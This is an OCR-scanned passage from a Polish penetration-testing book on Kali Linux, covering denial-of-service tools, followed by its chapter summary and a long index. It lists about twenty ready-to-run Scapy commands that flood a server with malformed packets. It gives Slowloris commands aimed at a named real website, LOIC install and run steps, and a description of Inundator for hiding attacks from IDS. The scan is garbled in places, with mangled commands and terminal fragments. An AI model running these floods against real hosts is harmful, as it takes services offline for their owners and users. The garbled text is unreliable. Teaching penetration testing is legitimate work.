W przyktadzie, ktéry przedstawiamy ponizej, sprébujemy uzy¢ pakietu Scapy do wysylania
spreparowanych pakietéw TCP do naszego serwera testowego. W naszym przypadku serwer
testowy ma adres IP 10.0.0.1, ale w realnym scenariuszu moze to by¢ dowolny router czy
serwer WWW. Oprécez podania adresu atakowanego serwera musimy réwniez okreslié liczbe
pakietéw, ktore zostang wyslane do celu. W naszym przypadku bedzie to 2000 pakietéw, cze-
go mozemy dokona¢ za pomocg nastepujacego polecenia:

send(IP(dst="10.0.0.1",tt1=0)/TCP(),iface="eth0",count=2000)

Powoduje ono wystanie 2000 pakietéow z interfejsu sieciowego ethO do serwera o adresie
10.0.0.1. Jak zapewne zauwazyles, czas zycia wysylanych pakietéw (parametr t#l) jest ustawio-
ny na wartos$¢ 0. Z punktu widzenia protokotu TCP istnienie takich pakietéw jest niemozliwe.
Inaczej méwiac, wysylajac pakiety z tak spreparowang warto$cig parametru tt1, prébujemy
wprowadzié atakowany serwer internetowy co najmniej w zaktopotanie. W realnym scenariu-
szu potencjalny napastnik wysylatby do atakowanego serwera miliony takich pakietéw. Warto
zauwazy¢, ze w sprzyijajacych okolicznosciach zaklécenie pracy czy nawet powazna awaria serwera
moze by¢ spowodowana odebraniem nawet jednego niepoprawnego czy specjalnie zlosliwie
spreparowanego pakietu sieciowego. Oczywiscie w zaleznosci od zamiaréw mozesz dowolnie
modyfikowaé poszczegélne opcje wysylania pakietow.

~# s y
INFO: Can't import python gnuplot w . Won't be able to plot.
WARNIMNG: MNo route f s r TPy stination :: (no default route?)
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Ponizej przedstawiamy kilkanascie popularnych scenariuszy atakéw przeprowadzanych przy
uzyciu pakietu Scapy.
Nieprawidlowa wersja protokotu IP
send(IP(dst="10.0.0.1", src="10.20.30.40", version=0)/
TCP(dport="www"), iface="eth0", count=2000)
Nieprawidlowa suma kontrolna pakietu TCP

send (IP(dst="10.0.0.1") /TCP(chksum=0x5555) ,iface="eth0", count=2000)

Nieprawidlowe flagi pakietu TCP (wszystkie flagi wyzerowane i numer sekwencji usta-
wiony na 0)

send(IP(dst="10.0.0.1")/TCP(flags="",seq=555),iface="eth0", count=2000)

Nieprawidlowe flagi pakietu TCP (wszystkie flagi ustawione jednoczesnie)

send (IP(dst="10.0.0.1")/TCP(flags=0x0ff),iface="eth0",count=2000)

Ustawiona tylko flaga FIN
send(IP(dst="10.0.0.1")/TCP(flags="F"),iface="eth0",count=2000)

Rozmiar nagléwka wiekszy od rozmiaru pakietu L2
send(IP(dst="10.0.0.1", src="10.20.30.40", ih1=15L)/TCP(dport="www"),
iface="eth0", count=2000)
Zbyt maly rozmiar nagléwka pakietu
send(IP(dst="10.0.0.1", src="10.20.30.40", ih1=2L)/TCP(dport="www"),
iface="eth0", count=2000)
ICMP Flood
send (IP(dst="10.0.0.1")/ICMP(),iface="eth0",count=2000)

Nieprawidlowa suma kontrolna pakietu IP
send (IP(dst="10.0.0.1", src="10.20.30.40", chksum=0x5500)/
TCP(dport="www"), iface="eth0", count=2000)
Fragmentacja pakietow IP
send(IP(dst="10.0.0.1", src="10.20.30.40", frag=1)/TCP(dport="www"),
iface="eth0", count=2000)
Rozmiar pakietu IP wiekszy niz rozmiar pakietu warstwy L2

send(IP(dst="10.0.0.1", src="10.20.30.40", ih1=5L, 1en=80)/
TCP(dport="www"), iface="eth0", count=2000)
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Zrédlowy adres IP taki sam jak docelowy adres IP

send(IP(dst="10.0.0.1", src="10.0.0.1")/TCP(dport="www"),
iface="eth0", count=2000)
Rozmiar pakietu warstwy L2 wi¢kszy niz rozmiar pakietu IP

send(IP(dst="10.0.0.1",1en=32)/
Raw(load="bla-bla-bla-bla-bla-blabla-bla"),iface="eth0",count=2000)

send (IP(dst="10.0.0.1",Ten=32) /UDP(dport=80,1en=48)/
Raw(load="bla-bla-bhla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)

send(IP(dst="10.0.0.1",1en=32)/ICMP()/
Raw(load="bla-bla-bla-blabla-bla-bla-bla"),iface="eth0",count=2000)

Brak pakietu warstwy L4
send(IP(dst="10.0.0.1", src="10.20.30.40"), iface="eth0", count=2000)

Jednoczes$nie ustawione flagi SYN i FIN
send (IP(dst="10.0.0.1")/TCP(flags="FS"),iface="eth0",count=2000)

Rozmiar nagléwka pakietu TCP wiekszy niz rozmiar pakietu warstwy L2
send(IP(dst="10.0.0.1", src="10.20.30.40")/
TCP(dport="www", dataofs=15L), iface="eth0", count=2000)
Zbyt maly rozmiar nagléwka TCP (mniejszy niz 5 bajtow)

send (IP(dst="10.0.0.1", src="10.20.30.40")/
TCP(dport="www", dataofs=1L), iface="eth0", count=2000)

Slowloris

Slowloris HTTP DoS
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Slowloris to klient HTTP, ktory umozliwia przeprowadzanie atakéw typu DoS nawet za po-
$rednictwem lacza o wzglednie malej przepustowosci. Metoda ataku wykorzystywana w tym
programie jest unikatowa i pozwala na przeprowadzenie skutecznego ataku bez uciekania sie
do powszechnie wykorzystywanych technik ,,zalewania” serweréw masowo wysylanymi pa-
kietami. Slowloris otwiera wiele réwnoleglych polaczen do atakowanego serwera i podtrzy-
muje je w otwartym stanie poprzez przesylanie czeSciowych zadan HTTP Po otwarciu potla-
czenia program cyklicznie, w regularnych odstepach czasu, przesyla do serwera setki
kolejnych nagtéwkow zadan, co zapobiega zamknieciu polaczenia przez serwer. Takie zacho-
wanie powoduje wyczerpanie limitu réwnoleglych sesji serwera, co w efekcie uniemozliwia
jego normalne dzialanie. W przypadku witryn sieciowych przystosowanych do duzego nate-
zenia ruchu proces przejmowania kolejnych polaczen przez pakiet Slowloris moze zajaé nieco
czasu, poniewaz inni uzytkownicy muszg zwalnia¢ swoje polaczenia, zanim beda one mogly
zostaé zajete przez Slowloris. Nie zmienia to jednak w niczym faktu, ze po pewnym czasie
Slowloris pomatu, ale skutecznie przechwyci wszystkie dostepne sesje i doprowadzi do za-
wieszenia dziatania serwera.

Program Slowloris dziala skutecznie zwlaszcza w odniesieniu do serwer6w WWW wykorzy-
stujgcych przetwarzanie wielowatkowe, ktore sg z definicji wrazliwe na ograniczanie liczby do-
stepnych watkéw. Przykladami takich serweréw sa Apache 1.x 1 2.x, dhttpd, GoAhead i inne.

Pakiet Slowloris nie jest domyslnie instalowany w systemie Kali Linux 1.0, ale mozesz go pobrac ze strony
http.//ha. ckers.org/slowloris/.

Aby uruchomié¢ program, pobierz skrypt .pl ze strony autora, otwérz nowe okno terminala,
przejdz do katalogu ze skryptem i wykonaj polecenie przedstawione ponizej:

perl slowloris.pl
W oknie terminala pojawi sie ekran pomocy programu. Aby rozpoczaé atak na wybrany serwer,
powinienes wpisa¢ polecenie przedstawione powyzej i dodaé opcje -dns, a po niej wpisaé adres
serwera bedgcego celem ataku. Aby zaatakowac na przyktad witryne www.thesecurityblogger.com,
powiniene$ wpisaé nastepujace polecenie (zobacz pierwszy rysunek na nastepne;j stronie):

perl slowloris.pl -dns thesecurityblogger.com
Po rozpoczeciu ataku bedziesz mégl obserwowaé w oknie terminala proces przejmowania

kolejnych polaczen, co po pewnym czasie moze doprowadzi¢ do zatamania sie atakowanego
systemu (zobacz drugi rysunek na nastepnej stronie).

Jezeli atak przeprowadzany za pomoca pakietu Slowloris sie powiedzie, atakowany serwer

przestanie odpowiadaé¢ na zadania (zobacz trzeci rysunek na nastepnej stronie).

Powyzej mozesz zobaczy¢ skutki ataku DoS na witryne Attp./www.thesecurityblogger.com (prosimy, nie
powtarzaj tego eksperymentu!).
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bandu

L -dns [ wwe
aris.pl! \for help with options.

-dfis tf Urityblo

om:80 every 100

It's not just you! www.thesecurityblogger.com looks down from
here.

LOIC, czyli Niskoorbitalne Dziato Jonowe...

Pakiet LOIC (ang. Low Orbit Ion Cannon, czyli wspomniane w tytule podrozdziatu Niskoorbital-
ne Dzialo Jonowe) to narzedzie do badania odpornosci zasobéw sieciowych na przecigzenie.
LOIC pozwala na sprawdzanie iloSci ruchu sieciowego, jaki moze obstuzy¢ dany system. Ta-
kie informacje moga by¢ p6zniej wykorzystywane do planowania rozbudowy i wdrazania sze-
rokopasmowych polaczen sieciowych. Program ten stal sie inspiracjg do utworzenia innych
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narzedzi o podobnej funkcjonalnosci, takich jak na przyktad JavaScript LOIC, ktére pozwala
uzytkownikowi na przeprowadzanie testéw odpornosci na przecigzenia polaczen bezposred-
nio z poziomu przegladarki.

Program LOIC byl wykorzystywany przez grupe Anonymous do przeprowadzenia stynnych
atakéw na wiele znanych internetowych witryn publicznych i rzadowych. Niektérzy prawnicy
usitujg co prawda przekonywaé, ze zastosowanie narzedzi takich jak LOIC jest w praktyce
bardzo podobne do odwiedzania danej witryny kilka tysiecy razy, ale w wickszo$ci krajow
nieautoryzowane uzywanie tego typu narzedzi jest traktowane jako famanie prawa.

Aby zainstalowaé pakiet LOIC, powiniene$ otworzy¢ okno terminala i wpisaé¢ sekwencje po-
lecen przedstawiong ponizej:

apt-get update

aptitude install git-core monodevelop

apt-get install mono-gmcs

:~# aptitude install git-core monodevelop
The following NEW s will
cli-co [ gi = lib: a} libart2.0-cil{a} libbonoboui2-0{a}
libbonoboui2-common{a} 1i 2.0-cil{a} libgdiplus{a}

libglade2.0-cil{a} libgla dev{a} libglib2.0-cil{a}
libglib2.0-cil-dev{a} libgnome-vfs2.0-cil{a} libgnome2.24-cil{a}

Po zakoriczeniu tego etapu wykonaj polecenie ed /Desktop, aby przejs¢ do katalogu reprezentuja-
cego pulpit, a nastepnie utwérz w nim podkatalog o nazwie loic. Mozesz to zrobi¢ za pomoca
polecenia przedstawionego ponizej:
mkdir Toic
sktop# pwd

:~/Desktop# mkdir loic

Przejdz do nowo utworzonego katalogu za pomocg polecenia cd loic i wykonaj polecenie
przedstawione ponizej:

wget https://raw.github.com/nicolargo/loicinstaller/ master/loic.sh

:~/Desktop/loic# wget https://raw.github.com/nicolargo/loicinstaller/ma
ster/loic.s

Nastepnie nadaj skryptowi loic.sh odpowiednie uprawnienia. Aby to zrobi¢, wykonaj kolejne
polecenie:

chmod 777 loic.sh
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:~/Desktop/loic# chmod 777 loic.s

Ostatnim etapem jest uruchomienie skryptu za pomoca polecenia przedstawionego ponizej:

./loic.sh install

:~/Desktop/Loic# ./1

Jezeli na ekranie nie pojawi sie zaden komunikat o wystgpieniu bledu, to znaczy, ze jestes
gotowy do przeprowadzenia aktualizacji naszego ,dziala jonowego”. Aby to zrobié, wykonaj
nastepujace polecenie:

./loic/sh update

File Edit View Search Terminal Help

/loic.sh update

Po zakoniczeniu aktualizacji nadszedl czas na uruchomienie programu LOIC. Mozesz to zro-
bi¢, wpisujac w oknie terminala nastepujace polecenie:

./loic.sh run

Leckon [
IMMA C

Lockon
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Uzywanie programu LOIC nie jest trudne. Na poczatek mozesz wybraé, czy cheesz korzysta¢
z trybu recznego (ang. manual mode), czy trybu IRC (ang. IRC mode). W naszym przykladzie
wybralismy tryb reczny.

Nastepnie powinienes poda¢ adres URL systemu, ktory cheesz zaatakowa¢. W naszym przypadku
wpisalismy adres lokalnego interfejsu petli zwrotnej, czyli 127.0.0.1. Jezeli chcesz zmodyfi-
kowa¢ domyslne ustawienia ataku, LOIC oferuje wiele opcji dla protokoléw TCP oraz UDP.

Kiedy bedziesz gotowy do rozpoczecia ataku, powiniene$ kliknaé¢ przycisk IMMA CHARGIN
MAH LAZER. Postepy ataku mozesz obserwowaé¢ w oknie programu. Aby zatrzymaé atak,
Kliknij przycisk Stop Flooding.

IMMA CHARGIN MAH LAZER

127.0.0.1

Inne narzedzia

Kali Linux oferuje inne narzedzia, ktére mozesz wykorzysta¢ do przeprowadzania atakéw na
aplikacje internetowe. Ponizej zamieszczamy krétkie zestawienie wybranych narzedzi, ktére
nie byly do tej pory omawiane.

DNSChef
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Pakiet DNSChef to serwer DNS proxy przeznaczony dla pentesteréw i specjalistéw zajmuja-
cych sie analizg zlosliwego oprogramowania. Serwery DNS proxy to narzedzia ,falszujace”
odpowiedzi DNS, wykorzystywane do analizy ruchu sieciowego generowanego przez aplika-
c¢je internetowe i wielu innych zastosowari. DNS (ang. Domain Name System) to rozproszony
system przydzielania nazw zasobow sieciowych, takich jak komputery, serwery, ustugi siecio-
we i inne zasoby sieciowe, podlaczone do internetu lub prywatnych sieci komputerowych.
Celowe dostarczanie falszywych adreséw DNS moze powodowaé przekierowanie ruchu sie-
ciowego do lokalizacji zupehie innych niz oryginalne.

Na przyklad serwer DNS proxy moze by¢ wykorzystywany do utworzenia fatszywych odpo-
wiedzi DNS, powodujacych, ze ruch dedykowany dla witryny CzarnyCharakter.com zamiast
do internetu bedzie trafial do lokalnego komputera analityka, gdzie moze by¢é blokowany lub
przechwytywany w celu przeprowadzenia doktadniejszej analizy. Aby to zrobi¢, musisz uzy-
ska¢ dostep do jednego z serwer6w DNS i odpowiednio zmodyfikowa¢ wpisy DNS lub doko-
naé ,zatrucia” serwera DNS, tak aby ruch sieciowy byt przekierowywany do Twojego kom-
putera z systemem Kali Linux. Sama obstuga narzedzia DNSChef nie jest skomplikowana,
aczkolwiek prawdziwym wyzwaniem moze by¢ atak na serwer DNS i przekierowanie ruchu
do Twojego komputera.

SniffJoke

SniffJoke pozwala na zupehie przezroczyste przechwytywanie potaczenn TCP, wprowadzanie
do nich opéznien, modyfikowanie zawartosci pakietéw oraz wstrzykiwanie falszywych, spre-
parowanych pakietéw do sesji TCP uzytkownika. Powoduje to, ze pasywne rozwigzania mo-
nitorujace i zabezpieczajace ruch sieciowy, takie jak systemy IDS/IPS i sniffery, majg duze
problemy z poprawng interpretacja polaczen sieciowych. Dzialanie programu wywoltuje ré6z-
nice miedzy ruchem sieciowym, ktéry jest przechwytywany i przewidywany przez sniffer,
a rzeczywistym ruchem sieciowym generowanym przez klienta, w rezultacie czego algorytmy
budujace ,.konwersacje” sieciowe dla sniffera maja problemy z poprawnym sktadaniem kolej-
nosci pakietéw. Na kolejnych dwdéch rysunkach przedstawiamy proces przechwytywania ru-
chu sieciowego miedzy dwoma uzytkownikami bez udziatu pakietu Snifffoke oraz w sytuacji,
kiedy pakiet SniffJoke dziala.
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Program SniffJoke nieaktywny

Program Sniffloke aktywny

Siege

Siege to narzedzie przeznaczone do testowania odporno$ci na przeciazenia polaczen
HTTP/HTTPS, pozwalajace deweloperom aplikacji internetowych na sprawdzanie zachowa-
nia kodu aplikacji w skrajnych warunkach pracy. Program Siege pozwala na wielowatkowe
generowanie sesji HTTP i analizowanie zachowania serweréw pod symulowanym obcigzeniem
wielu uzytkownikéw. Siege moze pracowac¢ w trybie regresji, symulacji internetu oraz w trybie
brute-force.

Aby uruchomié¢ program Siege w systemie Kali Linux, przejdz do grupy Kali Linux i nastep-
nie wykonaj polecenie Stress Testing/Network Stress Testing/siege (zobacz pierwszy rysunek
na nastepnej stronie).

Skladnia wywolania polecenia siege jest nastepujaca:

siege [opcje] <adres URL celu>
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tran o

CURRENT
INTERNET u
BENCHMARK :

hour test.
to run the test.

Rysunek przedstawiony ponizej przedstawia program Siege testujacy witryne http./iwww.the
>securityblogger.com. Program domySlnie symuluje obcigzenie polaczeniami od 15 uzytkow-
nikéw, co zostalo przedstawione na rysunku ponizej. Kiedy zatrzymasz dzialanie programu,
Siege generuje raport, ktéry zostal zamieszczony na kolejnym rysunku.

0]
10.16
1.7

.1_D-:;l
nnoying ‘messade by ledliting
- heme-'directery; change
file' to fe

Inundator

Inundator to narzedzie pozwalajace na omijanie i neutralizowanie dzialania systeméw IDS (ang.
Intrusion Detection System) oraz IPS (ang. Intrusion Protection System) poprzez ,,zalewanie” gene-
rowanych przez nie dziennik6w spreparowanymi wpisami. Koncepcja kryjaca sie za takim rozwia-
zaniem polega na tym, ze poprzez ,zasypywanie~ dziennikéw tysigcami falszywie pozytywnych
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wpiséw mozna ukry¢ rzeczywisty atak, ktory staje sie przez to potencjalnie ,niewidzialny” i ktére-
go p6Zniejsza analiza $ledcza jest mocno utrudniona. Pakiet Inundator moze byé¢ réwniez wy-
korzystywany do testowania efektywnosci moduléw generujacych alarmy w systemach SIEM
czy IDS/IPS.

TCPReplay

Program TCPReplay wykorzystuje uprzednio przechwycony i zapisany w plikach w formacie
libpcap ruch sieciowy do testowania dzialania r6znych urzadzen sieciowych. TCPReplay po-
trafi rozpoznawa¢ ruch generowany przez klienty i serwery, modyfikowaé nagléwki pakietow
2., 3.1 4. warstwy oraz wstrzykiwac pakiety do sieci, co pozwala na testowanie takich urzadzen, jak
przelaezniki, routery, zapory sieciowe czy systemy IDS/IPS. TCPReplay obstuguje rézne try-
by pracy interfejséw sieciowych.

Moéwige w skrocie, pakiet TCPReplay pozwala na przechwytywanie i zapisywanie ruchu sie-
ciowego przesylanego miedzy klientem a serwerem, i nastepnie na retransmisje tego ruchu w do-
wolnym czasie i miejscu w sieci.

Podsumowanie

Omawiane w tym rozdziale zagadnienia i oprogramowanie stanowily dopelienie arsenatu
technik i narzedzi kazdego pentestera aplikacji internetowych. Po zakoniczeniu lektury powiniene$
juz wiedzieé, jak zdobywaé informacje o celach, jak wyszukiwaé¢ podatnosci i luki w zabezpie-
czeniach, jak analizowa¢ interakcje pomiedzy klientami a serwerami, jak wykorzystywaé
exploity oraz luki w zabezpieczeniach oraz jak w razie potrzeby zaklécaé dziatanie ustug interne-
towych. W tym i poprzednich rozdziatach dokonalismy krétkiego przegladu narzedzi dostep-
nych zar6wno w systemie Kali Linux, jak i w internecie, ktére powinny sie znalez¢é w arsenale
kazdego specjalisty zajmujacego sie przeprowadzaniem testéw penetracyjnych. Kali Linux
udostepnia wiele warto$ciowych narzedzi, aczkolwiek kazdy dobry pentester uzywa tez wlasnych
skryptéw i programéw wykorzystujacych luki typu Zero-Day. Jezeli chcesz by¢ dobrym penteste-
rem, powiniene$ ustawicznie testowaé nowe metody atakéw, sprawdzaé r6zne narzedzia penetra-
cyjne i samodzielnie poszerzaé¢ swoja wiedze na temat zagadniefh omawianych w naszej ksiazce.

W tym rozdziale omawialismy techniki bedace niejako uwienczeniem catego procesu atako-
wania aplikacji internetowych podczas przeprowadzania testéw penetracyjnych. Poruszane
tutaj byly zagadnienia zwigzane z przelamywaniem zabezpieczen aplikacji internetowych
przy uzyciu atakéw na przegladarki, atakéw z wykorzystaniem serweréw proxy oraz przechwyty-
wania hasel dostepu. Rozdzial zakoriczylisSmy zagadnieniami zwigzanymi z zakt6caniem i przery-
waniem dzialania ushug sieciowych przy uzyciu atakéw DoS oraz testowaniem odpornosci
aplikacji i ustug sieciowych na prace w skrajnych warunkach obciazenia.

W nastepnym rozdziale zmienimy zupelnie front i wyjasnimy, jak przy uzyciu narzedzi dostep-
nych w systemie Kali Linux chroni¢ aplikacje internetowe przed atakami pentesteréw i hakeréw.
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hostow, 167
przegladarek, 232
raport konicowy, 315
system6w poczty
elektronicznej, 123

usuwanie, 276
wstrzykiwanie kodu SQL, 221
wstrzykiwanie skryptéw, 223
wykorzystywanie, 113
wyszukiwanie, 92

LVM, 43
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L

tadunek, 117
tamanie hasel, 137, 169
bezplatne ustugi sieciowe,
190
haszowanych, 189
maska, 189
narzedzia, 174
przechowywanych w plikach
systemowych, 169
sifowe, 229
systemu Linux, 173
techniki, 169
za pomocg John the Ripper,
174
zabezpieczajacych BIOS
komputera, 190
tacza, modyfikacja, 196

M

MAC, 172
MagicTree, 327
Maintaining Access, 38, 48
Maltego, 58, 74
zadania, 76
Maltego CaseFile, 326
man-in-the-middle, 139, 211
obrona przed atakiem, 281
przeprowadzanie manualne,
212
maska, 189
mechanizmy
HSTS, 140
klonowania, 153
obronne, 231, 271
testowanie, 273
pasywnego nastuchiwania, 208
renegocjacji bezpiecznego
polaczenia SSL, 257
usuwania miekkich btedéw
404, 93
menedzer LVM, 43
metadane, 83
wyszukiwanie i analiza, 83
Metasploit, 113, 154
skanowanie sieci lokalnej, 114
wersja konsolowa, 114
meterpreter, 151
uruchomienie sesji, 156
wykorzystanie, 156
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metodologia
certyfikacji CISSP, 193
testéw penetracyjnych, 24,
310, 323
metody
pojedynczego
uwierzytelniania, 194
szyfrowania, 283
mirror server, 43
MitM Proxy, 161
montowanie dyskéw z systemem
Windows, 172

nagtéwki X-Frame-Options, 287
narzedzia
do klonowania witryn, 281
do tamania hasel, 174
do przechwytywania sesji,
198
do przeprowadzania atakow
DoS/DDoS, 285
sledcze, 295
wspomagajace tworzenie
raportéw, 325
nastuchiwanie
pakietow sieciowych, 199
ruchu sieciowego, 143, 228
nazwy DNS, 71
Nessus, 162
HomeFeed, 163
instalowanie w systemie
Kali Linux, 163
ProfessionalFeed, 163
raporty, 167, 168
skanowanie hostow, 166
uruchomienie, 164
uzywanie, 164
Netcat, 124
NetFlow, 286
NGIPS, 236
Niskoorbitalne Dzialo Jonowe,
263
Nmap, 76
agresywne skanowanie, 79
graficzny interfejs
uzytkownika, 77
okno wynikéw skanowania, 82
opcje, 79
NoScript, 287
nosniki danych, 288

0

obrona przed atakami
Clickjacking, 287
DoS, 285
man-in-the-middle, 281
przechwytywanie ciasteczek,
286
SSLstrip, 284
ocena ryzyka, 30
formuly, 31
okna serwisowe, 277
ocl, 178
oclHashcat, 177
odgadywanie haset, 169
okna serwisowe, 277
Ophcrack, 183
uruchomienie w Kali Linux,
184
osobista weryfikacja tozsamosci,
194
oszacowanie bezpieczenstwa, 21
o$wiadezenie o zachowaniu
poufnosci, 307
otwarta implementacja sterownikéw
kart graficznych, 178
Owasp-Zap, 105, 245
automatyczne logowanie, 110
konfigurowanie przegladarki,
108
mechanizm aktualizacji catego
pakietu, 110
proces uwierzytelniania, 109
przeprowadzanie atakéw, 109
raporty, 111

P

PAE, 39
pakiety
ARP, 212
czas zycia, 259
MitM Proxy, 161
SET, 149, 249
sieciowe, 259
TCP, 259
pamie¢ masowa urzadzen, 289
partycje, 172
wymiany, 291
Pasco, 299
Password Attacks, 37, 47, 174
Patator, 229
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pdf-parser, 299
pentesterzy, 15
phishing email, 159
phrasendrescher, 190
PIV, 194
pliki
binarne, 298
CLF, 227
index.dat, 299
Robots.txt, 53
SAM, 171, 178, 180
wydobycie zawartosci, 173
SEED, 247
shadow, 173
strefowe, 71

wyszukiwanie i odzyskiwanie,

299
poczta elektroniczna, 123
falszywe wiadomosci, 159
podatnos$¢ na atak, 29
aktualizacja bazy, 276
aplikacji internetowych, 245,
254
ocena ryzyka, 30
przegladarki, 232
raport konicowy, 315
skanowanie, 30
usuwanie, 276
wyszukiwanie, 92
XSS, 223, 226
podnoszenie uprawnien, 37
podstawowe wymogi
bezpieczenstwa, 303
podsumowanie ustalen, 313
polecenia
apt-get install, 233
apt-get update, 233
arpspoof, 142
binwalk, 298
bkhive, 173

bkhive SYSTEM bootkey, 180

bkreg, 173
chntpw -i, 183
chntpw -1 SAM, 181
cp, 139

Data, 124
db_nmap, 115
de3dd, 293
expand, 171
exploit, 119
fdisk, 172
fierce, 123
fping, 70
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getsystem, 222
git, 150
HELO, 124
host, 114
ifconfig, 140
ifdown, 140
iptables, 141, 142
john -test, 138
MAIL FROM, 124
md5sum, 297
msfcli, 113
msfconsole, 113
msfgui, 113
netcat, 124
ping, 70
protokotu SMTP, 124
RCPT TO, 124
route -n, 141
samdump, 173
samdump SAM bootkey, 180
services, 114, 115
sessions -1 1, 157
set payload, 117
stdisk -1, 291
sha256sum, 294
show options, 117, 118
show payloads, 117
sqlmap, 222
SYSKEY, 173
traceroute, 69
use, 116
polityka zarzadzania hastami, 277
polaczenia
HTTP, 268
HTTPS, 268
polaczenia
TCP, 267
tréjetapowe, 79
VPN, 282
poprawki zabezpieczen, 275
harmonogram instalowania, 276
proces zarzadzania, 276
porty
443, 119
8080, 108, 245
komunikacyjne, 118
nastuchujace, 142
poufnosé, 30
poziom zabezpieczen
minimalny, 274
podstawowy, 274
PREROUTING, 143
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Privilege Escalation, 37
produkty z potki, 231
professional feed option, 163
projekty
Emily, 59
Gruyere, 224, 246
promiscuous mode, 47
Protocol Attacks, 256
protokoly
802.1x, 283
HTTPS, 282
MACsec, 283
routingu, 285
SSL, 257
SSL/TLS 3.0, 281, 286
TLS, 281
ProxyStrike, 98
robot sieciowy, 100
przechwytywanie
ciasteczek, 197, 209, 286
danych logowania
uzytkownikéw, 211
hasel, 169, 249
nazw kont i hasel, 157
obrazéw przesylanych
w sieci, 217
pakietow, 213
sieciowych, 210
TCP, 259
przechwytywanie
polaczen, 161
TCP, 267
ruchu HTTP oraz HTTPS, 238
ruchu sieciowego, 207, 267,
270
sesji, 197, 208, 233
narzedzia, 198
przeglad projektu, 306
przegladarki, 232
ochrona przed atakami, 236
zabezpieczenia, 249
przekazywanie pakietow IP, 142,
212
przekierowanie
polaczen, 284
portéw komunikacyjnych,
142
ruchu sieciowego, 141
sesji, 284
przestrzen celow, 27
przetwarzanie wielowatkowe, 262
PwDump, 173

333
Pole¢ ksigzke


http:/helion.pl/rt/kalili
http:/helion.pl/rf/kalili

Skorowidz

Rainbow Tables, 47, 170
RainbowCrack, 170, 189
ramy czasowe, 308
raport koncowy

bledy, 302
dodatki, 319
dokumentacja, 306
format, 307
glosariusz, 319
informacje o metodologii, 310
konsekwencje, 302
narzedzia wspomagajace
tworzenie, 325
oswiadczenie o zachowaniu
poufnosci, 307
podatnosci i luki
w zabezpieczeniach, 315
podsumowanie ustaleri, 313
zestawienie elementéw, 315
prezentacja, 302
przeglad projektu, 306
ramy czasowe projektu, 308
specyfikacja, 28
streszczenie, 309
strona tytulowa, 307
szczegotowe procedury
testowania, 312
tworzenie, 301
ustugi profesjonalne, 304
wersja koficowa, 306
wersja robocza, 306
wnioski i rekomendacje
dla srodowiska sieciowego,
316
wymagania, 303
wypelnianie szablonu, 306
zakres projektu, 306
zarzadzanie wersjami
dokumentacji, 308
zgodnosé ze standardami
i procedurami, 303

reracki_mt, 189
Regional Internet Registries, 57
rekomendacje, 316

powykonawcze, 28

rekonesans, 34, 51

badanie zasob6w sieci
komputerowych, 65
Google hacking, 61
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Google Hacking Database, 63

lokalizacja, 60

oferty pracy, 59

plik Robots.txt, 53

regionalni administratorzy
adresow 1P, 57

rozpoznanie wstepne, 53

sieciowy, 65

strona internetowa firmy, 53

system EDGAR, 57
wyszukiwarka Shodan, 60

z wykorzystaniem protokotu

ICMP, 69

z wykorzystaniem serweréw

DNS, 71
zadania, 52
zasoby serwiséw
spolecznosciowych, 58
zaufanie, 59
zrédta przechowujace

historyczne wersje witryn

internetowych, 54
rekordy zasobowe, 71
Remote File Inclusion, 254
renegocjacja sesji SSL, 258
Reporting Tools, 48
Reverse Engineering, 48
rich-text, 326
robot sieciowy, 93, 100, 241
roczna oczekiwana strata, 31
roczny wskaznik wystapienia

zdarzenia, 31
rootkit, 295
rozsylanie spreparowanych
pakietéow ARP, 141
rozszerzenia PAE, 39
ruch sieciowy, 206
adresy URL, 227
man-in-the-middle, 212
monitorowanie, 227
nastuchiwanie, 143, 228

przechwytywanie, 267, 270

przekierowanie, 213
sprawdzanie ilo$ci, 263

urzadzenia monitorujace, 285

S

SAM, 171
samdump2, 178
Scalpel, 299

Scapy, 257, 259
scenariusze atakéw, 260
security assessment, 21
security audit, 21
serwery, 91
aplikacji internetowych, 92,
223
zabezpieczanie, 136, 249
atakowanie, 262
limit réwnoleglych sesji, 262
poczty elektronicznej, 123
proxy, 98, 105, 236
wykorzystanie, 238
Samba, 116
sieciowe, 91
WWW, 262
serwery DNS
identyfikacja celéw, 73
proxy, 267
rekonesans, 71
serwisy spoteczno$ciowe, 58
sesja, 195
ciasteczka, 197
logowania, 205
mechanizmy bezpieczenstwa,
195
Session Exhaustion, 257
session fixation attack, 195
session hijacking, 197
SET, 149, 249
adres IP sklonowanej witryny,
158
aplet Java, 156
Credential Harvester Attacks,
157
Exploit to deliver, 154
importowanie wlasnych
plikéw witryny
internetowej, 158
TP address/hostname for
reverse connection, 154
mechanizmy chronigce
przeprowadzany atak, 155
NAT/Port forwarding, 154
przechwycenie nazw kont
i hasel, 157
raport o zdarzeniu, 160
raporty, 253
rozsylanie falszywych
wiadomosci, 159
URL you want to clone, 154
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uruchomienie, 151
utworzenie kopii witryny, 153
zastosowanie do ataku
z klonowaniem, 151
SharePoint, 151
Shodan, 60
Sidejacking, 208
Siege, 268
skanery
biometryczne, 194
stron internetowych, 246
skanowanie
adreséw URL, 93
agresywne, 79
celéw, 35
hostow, 162
podatnosci na ataki, 30, 32
portow, 93
witryny, 255
z wykorzystaniem protokotu
ICMP, 70
Skipfish, 95
raport, 97
slowniki, 96
skrypty
opakowujace, 228
wykrywanie
nieautoryzowanych
skryptéw, 287
XSS, 224, 226
SLE, 31
Slowloris, 261
stowa kluczowe
dbs, 222
FUZZ, 133,135
tables, 222
sniffer, 267
Sniffing and Spoofing, 48
SniffJoke, 267
Social Engineer Toolkit, 149
social engineering, 16, 148
SOW, 319
spodziewana jednorazowa strata,
31
sqlmap, 221
SSL stripping, 140
SSLstrip, 140, 197, 211
konfigurowanie
przekierowania portéw, 142
mechanizm dzialania, 284
obrona przed atakiem, 284
rozpoczecie ataku, 141
SSO, 194
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standardy, 28, 304
status testu, 24, 27
STIG, 274
strategia ataku, 36
Stress Testing, 48
strony WWW, 241
suma kontrolna, 293
baza, 298
sygnatury plikéw, 299
SYSKEY, 171
System services, 48
systemy
BeEF, 59
EDGAR, 57
1DS, 93, 269
IPS, 269
NGIPS, 236
réwnowazenia obcigzenia
i filtrowania zawartosci, 286
SCADA, 60
SIEM, 270
z kartami dostepu, 194
zabezpieczen, 231
szablony witryn, 251
szare pudetko, 24
szyfrowane polaczenia
https, 197
VPN, 282

T

tablice teczowe, 170, 189
tamanie hasel systemu
Windows, 183
Tamper Data, 125
TCPReplay, 270
Tenable, 163
testowanie
dziatania r6znych urzadzen
sieciowych, 270
mechanizméw obronnych, 273
odpornosci na przecigzenia,
268
podatnosci na ataki XSS, 224
